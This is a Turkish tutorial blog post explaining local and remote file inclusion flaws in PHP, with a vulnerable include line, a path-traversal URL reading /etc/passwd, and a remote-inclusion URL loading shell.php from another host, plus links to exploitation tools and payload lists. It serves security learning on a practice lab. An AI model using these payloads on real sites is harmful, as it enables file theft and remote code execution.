File İnclusion Nedir ?
“File inclusion” olarak adlandırılan bu zafiyet çeşidi sayfaya eklenen dosyaların kullanıcı girdisi ile alındığı yada herhangi bir şifreleme,filitreleme işlemi olmadan gönderilmesi sonucunda kullanıcının yetkisi olmadığı dosyaları görüntüleyebilmesini,okuyabilmesini hatta sisteme bir backdoor açabilmesini sağlayan oldukça zararlı bir zafiyet çeşididir.
File inclusion zafiyeti local file inclusion ve remote file inclusion olarak 2 ye ayrılmaktadır.
php include($_GET['konu’]);
Gibi bir php kodu içeren web sayfası var. Bu sayfa url tarafında gelen requeste(isteğe) göre cevap döndürecektir. Eğer biz konu tarafından belirtilen isteği değiştirirsek ve bunun karşılığında bir cevap alırsak işte bu file inclusion zafiyeti olucaktır.
http://site.com/index.php?sayfa=../../../../../../../../../etc/p asswd
Yukarıda belirtilen kodda ki gibi bir sitenin “index.php” sayfasında bulunan “file inclusion” açığı ile linux sistemlerde bulunan “passwd” dosyasının içeriğini görüntüleyebiliyoruz. Bu bir lfi(local file inclusion) zafiyetidir.
Remote File İnclusion Nedir ?
Remote(uzaktan)file inclusion zafiyet çeşidi ise sisteme uzaktaki bir web sunucusundan dosya enjekte ederek (örneğin reverse shell payload, back door vb.) kod çalıştırmaktır. Bu zafiyet php ile kodlanan uygulamaların yazılımcılar tarafından tanımlanan değişkenlerin boş bırakılması ya da atanan değerlerin filtrelenmemesinden kaynaklanmaktadır.
Örnek:
http://192.168.1.100/fileincl/example2.php?page=http://192.168.1.101/shell.php%00
Yukarıdaki gibi bir websitesine ‘page?=‘ parametresi ile başka bir sunucudan dosya aktarabildik işte bu zafiyet çeşidi remote file inclusion olarak adlandırılır.
File İnclusion Sömürü Araçları
Lfi zafiyetinin manuel yollar ile kontrolü sağlanıp sömürülebildiği gibi hazır araçlar ile de kontrol edilebilir ve sömürülebilir bu araçlardan bazılarının github linkini sizlere bırakacağım incelemek isterseniz linke tıklayıp inceleyebilirsiniz.
1)LFİ Suite:
https://github.com/D35m0nd142/LFISuite
2)Fimap:
https://github.com/kurobeats/fimap
3)LFİ Scanner:
https://github.com/sUbc0ol/LFI-scanner
4)Liffy:
https://github.com/mzfr/liffy.git
5)FDsploit:
https://github.com/chrispetrou/FDsploit
Bu zaafiyet için Web For Pentester makinamız üzerinde deneme yapabilirsiniz.
Google üzerinden ”Lfi payload” şeklinde bir arama yaparsak local inclusion ve remote inclusion bu zaafiyetlerin neden çıktığı hangi koddan cıktığı hangi yöntemlerin kullanıldığı bypass teknikleri gibi birçok bilgi mevcut.
RFI / LFI istismarlarını mümkün kılan bazı kodların bulunduğu iki sayfa bağlantısı bırakıyorum incelemenizi denemeler yapmanızı tavsiye ederim. Kolay gelsin :/
https://github.com/payloadbox/rfi-lfi-payload-list
https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt